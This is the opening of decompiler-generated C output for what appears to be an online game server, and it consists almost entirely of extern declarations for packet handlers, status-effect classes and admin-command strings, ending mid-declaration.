/* This file has been generated by the Hex-Rays decompiler. Copyright (c) 2007-2011 Hex-Rays Detected compiler: Visual C++ */ #include #include #include //------------------------------------------------------------------------- // Data declarations extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_AdminCommand; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_ASSIST_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_AmpersandCommand_LevelUp; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_TARGETTING_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_GetExperienceFromMob; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_mobile_IsEnemy; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BRIEFINFO_INFORM_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MakeMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_charbasedata; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_CharAbstateData; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_CharChargedBuffData; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_SaveLocation; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::so_Chat; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::so_Shout; // weak extern _UNKNOWN FieldMap::FieldMap; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCANCEL_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERSTART_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_GuildReType; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_GuildReName; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_GuildStoreFill; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_FlagCapture; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_FlagCaptureCast; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_RECALL_ENTER_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_Summon2GuildTournament; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_ItemLotInspecting; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGED_WITHDRAW_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_Volley; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_TargetChange; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_smo_CrossCounterDamage; // weak extern _UNKNOWN ShineObjectClass::ShineMob::so_smo_CrossCounterDamage; // weak extern _UNKNOWN ShineObjectClass::ShineMob::so_mob_CanNPCTarget; // weak extern _UNKNOWN MobRegenClass::MobBreeder::mb_View; // weak extern _UNKNOWN MobRegenClass::MobBreeder::mb_Routine; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK; // weak extern _UNKNOWN loc_4C114D; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_mobile_NotifyParameterChange; // weak extern _UNKNOWN ShineObjectClass::ShineMob::so_scene_Duplicate; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_IsCanSessionCloseing; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_JOIN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_LEAVE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_EXPECT_INCOME_MONEY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RECEIPT_INCOME_MONEY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_MODE_CHANGE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RANK_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_BUY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_ItemBuyGuildToken; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_DISMANTLE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_PICK_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_ACTIV_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_UNEQUIP_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_mh_Move2MiniHouseFurniture; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_AllInMapMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_AllInMapMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_SaveWeaponTitle; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::smo_SPCheck; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::smo_SPCheckConsume; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_Unmark; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::smo_ReflectionDamage; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_GetTargetInfo; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_Routine; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_SetMHPortalList; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_AddMHPortal; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_GetNextFurnitureHandle; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_SaveMHInven; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_LogOut; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_GetFurnitureInven; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_FurnitureEndureUpdate; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_FurnitureEndureUse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISITREADY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_LOGINCOMPLETE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FUNITUREINFOCOMPLETE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_EXIT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CREATE_FURNITURE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_REARRANGE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_DELETE_FURNITURE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_TITLE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_PASSWORD_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_MAXENTERNUM_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_NOTIFY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_OPEN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_CLOSE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_EFFECT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_PortalEffectApply; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CHAR_ACTION_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EFFECT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_EffectApply; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_KICKOUT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_Schedule_BuildMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::hasObserver; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::smo_CeaseFireSend; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_Revival; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_FLY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BOOTH_REFRESH_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ENTRY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ITEMTRADE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_CANCEL_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_ASKNO_ACK; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSEYES_ACK; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_ChargedBuff; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_CHAR_WEDDING_PARTNER_INFO_REQ; // weak extern _UNKNOWN _L20516; // weak extern _UNKNOWN _L20532; // weak extern _UNKNOWN _L20680; // weak extern _UNKNOWN _L20173; // weak extern _UNKNOWN _L18592; // weak extern _UNKNOWN _L320; // weak extern _UNKNOWN _L20145; // weak extern _UNKNOWN _L20658; // weak extern _UNKNOWN _L20251; // weak extern _UNKNOWN _L19209; // weak extern _UNKNOWN _L20001; // weak extern _UNKNOWN _L19997; // weak extern _UNKNOWN _L20298; // weak extern _UNKNOWN _L20292; // weak extern _UNKNOWN _L20317; // weak extern _UNKNOWN _L20009; // weak extern _UNKNOWN _L20299_0; // weak extern _UNKNOWN _L20039; // weak extern _UNKNOWN _L20876; // weak extern _UNKNOWN _L19900; // weak extern _UNKNOWN _L20003; // weak extern _UNKNOWN _pow_default; // weak extern _UNKNOWN start; // weak extern _UNKNOWN _L19916; // weak extern _UNKNOWN _L20239; // weak extern _UNKNOWN _L19999; // weak extern _UNKNOWN _L20253; // weak extern _UNKNOWN _L20076; // weak extern _UNKNOWN _L20019; // weak extern _UNKNOWN _L20357; // weak extern _UNKNOWN _L20269; // weak extern _UNKNOWN _L20326; // weak extern _UNKNOWN _L20182_0; // weak extern _UNKNOWN _L20434; // weak extern _UNKNOWN _L20503; // weak extern _UNKNOWN _L19974; // weak extern _UNKNOWN _L20060; // weak extern _UNKNOWN _L20219; // weak extern _UNKNOWN _L20223; // weak extern _UNKNOWN _L20329_0; // weak extern _UNKNOWN _L19559; // weak extern _UNKNOWN _L20316; // weak extern _UNKNOWN _L20082; // weak extern _UNKNOWN _L20316_0; // weak extern _UNKNOWN _L20368; // weak extern _UNKNOWN _L20394; // weak extern _UNKNOWN _L20376; // weak extern _UNKNOWN _L20287; // weak extern _UNKNOWN _L20375; // weak extern _UNKNOWN _rttospopde; // weak extern _UNKNOWN _rttosnpopde; // weak extern _UNKNOWN ContinueErrorHandling; // weak extern _UNKNOWN _load_CW; extern _UNKNOWN _check_range_exit; // weak extern _UNKNOWN _L20809; // weak extern _UNKNOWN _L20860; // weak extern _UNKNOWN _L20329_1; // weak extern _UNKNOWN _L20662_0; // weak extern _UNKNOWN _L20359; // weak extern _UNKNOWN _L19915; // weak extern _UNKNOWN _L20441_0; // weak extern std::codecvt_base::__unnamed error; extern _UNKNOWN _L20094; // weak extern _UNKNOWN _L20250; // weak extern _UNKNOWN _L20274; // weak extern _UNKNOWN _L20268; // weak extern _UNKNOWN _L20065; // weak extern _UNKNOWN _L21126; // weak extern _UNKNOWN _L20665_0; // weak extern _UNKNOWN _L20628; // weak extern _UNKNOWN _E4_38; // weak extern _UNKNOWN _E70; // weak extern _UNKNOWN _E91; // weak extern _UNKNOWN _E106; // weak extern _UNKNOWN _E124; // weak extern _UNKNOWN _E145; // weak // extern PFUNCTION_TABLE_ACCESS_ROUTINE64 SymFunctionTableAccess64; // extern PGET_MODULE_BASE_ROUTINE64 SymGetModuleBase64; extern char message[]; // idb extern char aAbnormalsta_31[]; // idb extern int (*AbnormalStateContainer::SubAbnormalStateActor::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateFear::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorDisease::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorHPHeal::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSPHeal::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorShield::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorManaShield::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSelfRevive::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActerTimeAttack::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorCastDelay::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSilence::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateElement::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateElementNormal::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateElementRecover::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateReinforcedMove::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStatePartyEnchant::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateRestCount::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateEachTickRoutine::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateHide::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStatePolymorph::_vftable_)(); // weak extern char aBase[5]; // weak extern char aNormal[7]; // weak extern char aParty[6]; // weak extern char aGldaca[7]; // weak extern char aWedcpl[7]; // weak extern char aRecover_1[8]; // weak extern char aReinforcedmove[15]; // weak extern char aRestcount[10]; // weak extern char aTick[5]; // weak extern char aEachtick[9]; // weak extern char aHide[5]; // weak extern char aPolymorph[]; // idb extern char aActor[6]; // weak extern char aMaxhp[6]; // weak extern char aFear[5]; // weak extern char aCaptivate[10]; // weak extern char aPoison[7]; // weak extern char aRangedamage[12]; // weak extern char aDisease[8]; // weak extern char aHpheal[7]; // weak extern char aSpheal[7]; // weak extern char aHpspheal[9]; // weak extern char aShield[]; // idb extern char aManashield[11]; // weak extern char aPartyrecharge[14]; // weak extern char aSelfrevive[11]; // weak extern char aRangeintercept[15]; // weak extern char aLastdmgretio[13]; // weak extern char aLastdmgratio_d[21]; // weak extern char aTimeattack[11]; // weak extern char aCastdelay[10]; // weak extern char aIgnorecooltime[15]; // weak extern char aSilence[8]; // weak extern char aAbnormalstatee[]; // idb extern int (*AbnormalStateContainer::AbnormalStateCouplePartyEnchant::_vftable_)(); // weak extern int (__stdcall *AxialListNearScanParty::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanCoupleParty::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanGuildAcademy::_vftable_)(int, int, int distancesquar); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_vftable_)(); // weak extern char aAbnormalsta_51[]; // idb extern char aAbnormalstat_4[]; // idb extern int (__stdcall *AxialListNearScanFriend::_vftable_)(int, int, int distancesquar); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorDetachProcess::_vftable_)(); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (*AbnormalStateContainer::SubAbnormalStateCaptivate::_vftable_)(); // weak extern char aAbnormalsta_56[]; // idb extern char aAbnormalsta_78[]; // idb extern char funcname[]; // idb extern char aAbnormalstat_5[]; // idb extern char aAbnormalsta_29[]; // idb extern char asc_5A2DD4[]; // idb extern char asc_5A2E14[]; // idb extern char asc_5A2E54[]; // idb extern char asc_5A2E94[]; // idb extern char asc_5A2ED8[]; // idb extern char asc_5A2F24[]; // idb extern char where[]; // idb extern char aAbnormalsta_24[]; // idb extern char aAbnormalsta_34[]; // idb extern char aAbnormalsta_69[]; // idb extern int (__stdcall *ListIter_ObjectAbStateRoutine::_vftable_)(int ele, int isterminated); // weak extern char aAbnormalsta_60[]; // idb extern char aAbnormalsta_22[]; // idb extern char aAbnormalsta_45[]; // idb extern char aAbnormalsta_46[]; // idb extern char aAbnormalsta_74[]; // idb extern char aAbnormalstat_7[]; // idb extern char aAbnormalsta_55[]; // idb extern char aAbnormalstat_6[]; // idb extern char aAbnormalsta_48[]; // idb extern char aAbnormalsta_12[]; // idb extern char aAbnormalsta_52[]; // idb extern char aAbnormalsta_73[]; // idb extern char aAbnormalsta_35[]; // idb extern char aAbnormalsta_64[]; // idb extern char aAbnormalsta_13[]; // idb extern char aRevive[]; // idb extern char aYes[]; // idb extern char scriptindex[]; // idb extern char aAbnormalsta_33[]; // idb extern char aAbnormalsta_15[]; // idb extern char aAbnormalstat_3[]; // idb extern char aAbnormalsta_10[]; // idb extern char aAbnormalsta_49[]; // idb extern char aAbnormalsta_36[]; // idb extern char aAbnormalsta_79[]; // idb extern char aAbnormalstat_1[]; // idb extern char aAbnormalsta_68[]; // idb extern char asc_5A3878[]; // idb extern char asc_5A38B4[]; // idb extern char aShineobject_41[]; // idb extern char aSo_mobile_dama[25]; // weak extern char asc_5A396C[]; // idb extern char asc_5A39AC[]; // idb extern char aAbnormalsta_40[]; // idb extern char aAbnormalsta_19[]; // idb extern char aAbnormalstat_9[]; // idb extern char aAbnormalsta_54[]; // idb extern char aAbnormalsta_67[]; // idb extern char aAbnormalsta_20[]; // idb extern char aAbnormalsta_76[]; // idb extern char aAbnormalsta_26[]; // idb extern char aAbnormalsta_53[]; // idb extern char aAbnormalsta_62[]; // idb extern char asc_5A3CE4[]; // idb extern char aAbnormalsta_38[]; // idb extern char aAbnormalsta_23[]; // idb extern char aAbnormalsta_41[]; // idb extern char aAbnormalsta_18[]; // idb extern char aAbnormalsta_65[]; // idb extern char aAbnormalsta_25[]; // idb extern char aAbnormalstat_2[]; // idb extern char asc_5A3F70[]; // idb extern char aAxiallistnears[]; // idb extern char aAxiallistnea_3[]; // idb extern char aAxiallistnea_1[]; // idb extern char aAbnormalsta_57[]; // idb extern char aAbnormalsta_11[]; // idb extern char aAbnormalsta_28[]; // idb extern char aAbnormalsta_58[]; // idb extern char aAbnormalsta_32[]; // idb extern char asc_5A4198[]; // idb extern char asc_5A41E0[]; // idb extern char aBinarydatabo_0[]; // idb extern char format[]; // idb extern char aBinarydataboxT[]; // idb extern char file[]; // idb extern char mode[]; // idb extern char fname[]; // idb extern char aAbnormalsta_42[]; // idb extern char aAbnormalsta_30[]; // idb extern char aAbnormalsta_72[]; // idb extern char aAbnormalstated[]; // idb extern char aAbnormalsta_66[]; // idb extern char a__9dataShineAb[]; // idb extern int (__stdcall *UseEffect::UseItemJustReviveAtDead::_vftable_)(int, int itm); // weak extern char asc_5A4428[]; // idb extern char asc_5A4464[]; // idb extern char asc_5A4498[]; // idb extern int (__stdcall *ChargedItemEffectList::ChargedEffectAfterLoginComplete::_vftable_)(int ele, int handle); // weak extern char aChargediteme_5[]; // idb extern char aShineobject_90[]; // idb extern char aChargediteme_6[]; // idb extern char asc_5A45B4[]; // idb extern char asc_5A45E8[]; // idb extern char asc_5A4620[]; // idb extern char asc_5A4658[]; // idb extern char aAbnormalsta_21[]; // idb extern char Ptr[]; // idb extern char aAbnormalsta_14[]; // idb extern char aUseeffectUs_41[]; // idb extern int (__thiscall *AxialListMobSuicide::_vftable_)(AxialListMobSuicide *this, int, #325 *obj, int distancesquar); // weak extern char aItemdataboxOpe[]; // idb extern char aSS02d_txt[]; // idb extern char a02d02d02d[]; // idb extern char a04d02d02d_0[]; // idb extern char aS_0[]; // idb extern char aA[]; // idb extern char a_255s[]; // idb extern int (__stdcall *AxialListDoorAction::_vftable_)(int, int, int distancesquar); // weak extern char aListiter_amp_1[]; // idb extern int (__stdcall *ListIter_AmpCmdArgument::_vftable_)(int ele, __int16 handle); // weak extern char aListiter_ampcm[]; // idb extern char asc_5A488C[]; // idb extern int (__stdcall *AmpersandCommand::_vftable_[3])(__int16 hnd); // weak extern char aAmpersandco_61[]; // idb extern char aGateCloseIfLin[]; // idb extern char aNotePermanantl[]; // idb extern char aExMobbreed10Ro[]; // idb extern char aUsageTemplinkL[]; // idb extern char aExMobbreedSlim[]; // idb extern char aUsageMobbreedM[]; // idb extern char aD[]; // idb extern char aAmpersandco_33[]; // idb extern char asc_5A4B78[]; // idb extern char aTooManyAmpersa[]; // idb extern char aAdminLevelIsD[]; // idb extern char aAmpersandco_50[]; // idb extern char aAmpersandco_35[]; // idb extern char aInvalidMapName[]; // idb extern char aSecNeeded[]; // idb extern char aAmpersandco_20[]; // idb extern char aAmpersandcomma[]; // idb extern char aAmpersandco_85[]; // idb extern MobTacticElement::MobActionArgument stru_5A4E3C; // idb extern char aAmpersandco_76[]; // idb extern char aAmpersandco_68[]; // idb extern char aMainPerformanc[]; // idb extern char aAmpersandco_42[]; // idb extern char aDistanceDGrid[]; // idb extern char aAmpersandco_28[]; // idb extern char asc_5A524C[]; // idb extern char aAmpersandco_11[]; // idb extern char aFailToMfindNot[]; // idb extern char aAmpersandco_37[]; // idb extern char aFailToPfindNot[]; // idb extern char aAmpersandco_22[]; // idb extern char asc_5A53E0[]; // idb extern char aAmpersandco_43[]; // idb extern char aAmpersandco_44[]; // idb extern char asc_5A5448[]; // idb extern char asc_5A5468[]; // idb extern char aAmpersandco_49[]; // idb extern char aNull_0[]; // idb extern char aAmpersandco_12[]; // idb extern char aGuildt01[9]; // weak extern char aAmpersandco_10[]; // idb extern char aAmpersandcom_2[]; // idb extern char aInvalidScript[]; // idb extern char aAmpersandco_58[]; // idb extern char aAmpersandco_96[]; // idb extern char aPlayerNotFound[]; // idb extern char aAmpersandco_71[]; // idb extern char aAmpersandco_53[]; // idb extern char asc_5A5750[]; // idb extern char aAmpersandco_81[]; // idb extern char aFailedCannotFi[]; // idb extern char aAmpersandco_89[]; // idb extern char aAmpersandco_16[]; // idb extern char aAmpersandco_48[]; // idb extern char aAmpersandco_21[]; // idb extern char aAmpersandco_59[]; // idb extern char Source[]; // idb extern char aAmpersandcom_3[]; // idb extern char aAmpersandco_72[]; // idb extern char aAmpersandco_54[]; // idb extern char a0[2]; // weak extern char aAmpersandco_15[]; // idb extern char aAmpersandco_90[]; // idb extern char aAmpersandco_82[]; // idb extern char aAmpersandco_80[]; // idb extern char aD_D_DDDU[]; // idb extern char aAmpersandco_86[]; // idb extern char aAmpersandco_66[]; // idb extern char aAmpersandcom_1[]; // idb extern char aAmpersandco_55[]; // idb extern char aAllOfLogChange[]; // idb extern char aBalancelogChan[19]; // weak extern char aBalancelog[]; // idb extern char asc_5A5E58[]; // idb extern char aCZB_[31]; // weak extern char a16CKF_[33]; // weak extern char aDB[11]; // weak extern char a111666CCZJINF_[45]; // weak extern char aAmpersandco_91[]; // idb extern char aAmpersandco_38[]; // idb extern char aWholesaverWs_2[]; // idb extern char aTotalPlyDMobD[]; // idb extern char aSPlyDMobD[]; // idb extern char aAmpersandco_88[]; // idb extern char aAmpersandco_64[]; // idb extern char aAmpersandco_70[]; // idb extern char aKingdomquetScr[]; // idb extern char aAmpersandco_75[]; // idb extern char aAmpersandco_98[]; // idb extern char aBigbangScriptU[]; // idb extern char asc_5A625C[]; // idb extern char aInvalidVectorT[]; // idb extern char aMaxhpPlueOk[]; // idb extern char byte_5A62A6[2]; // idb extern char aAmpersandco_29[]; // idb extern char aMaxspPlueOk[]; // idb extern char aAmpersandcom_9[]; // idb extern char aReroadActivesk[]; // idb extern char aActiveskill[]; // idb extern char aAmpersandcom_6[]; // idb extern char aSmo_setcaptiva[]; // idb extern char aSmo_setcapti_0[22]; // weak extern char a1[]; // idb extern char aAmpersandco_79[]; // idb extern char aIgnoreskillc_0[]; // idb extern char aIgnoreskillc_1[26]; // weak extern char aAmpersandco_14[]; // idb extern char aReleasechatban[]; // idb extern char aIdtimechange[]; // idb extern char aDisposition[]; // idb extern char aGtieffect_0[]; // idb extern char aShowallchar[]; // idb extern char aLevelup[]; // idb extern char aAlllearnskill[]; // idb extern char aBigbang[]; // idb extern char aTs_diceprobabi[]; // idb extern char aTs_dicefix[]; // idb extern char aNpcrevive[]; // idb extern char asc_5A6494[]; // idb extern char aDebuglogging[]; // idb extern char aPartblock[]; // idb extern char aKnockback[]; // idb extern char aPw[]; // idb extern char aAmibusy[]; // idb extern char aCurtime[]; // idb extern char aGhostremove[]; // idb extern char aInvenview[]; // idb extern char asc_5A64F8[]; // idb extern char aIgnoreskillcoo[]; // idb extern char aCaptivate_0[]; // idb extern char aReloaddata[]; // idb extern char aLinktosavedata[]; // idb extern char aSpeed[]; // idb extern char aSp[]; // idb extern char aHp_0[]; // idb extern char aObserverout[]; // idb extern char aObserverlinkto[]; // idb extern char aUseguildskill[]; // idb extern char aFlagcapture[]; // idb extern char aStartgt[]; // idb extern char aErasechargebuf[]; // idb extern char aAllcritical[]; // idb extern char aMobhatchery[]; // idb extern char aShowid[]; // idb extern char aWedding[]; // idb extern char aUnlearnpassive[]; // idb extern char aUnlearn[]; // idb extern char aLearnpassive[]; // idb extern char aEnter[]; // idb extern char aEnterready[]; // idb extern char aReserve[]; // idb extern char aWeddingreset[]; // idb extern char aProposeres[]; // idb extern char aPropose_0[]; // idb extern char aPartyinfo[]; // idb extern char aCharinform[]; // idb extern char aHorsespeed[]; // idb extern char aEnterminihouse[]; // idb extern char aImmortal[]; // idb extern char aDeathaura[]; // idb extern char aStaticdamage[]; // idb extern 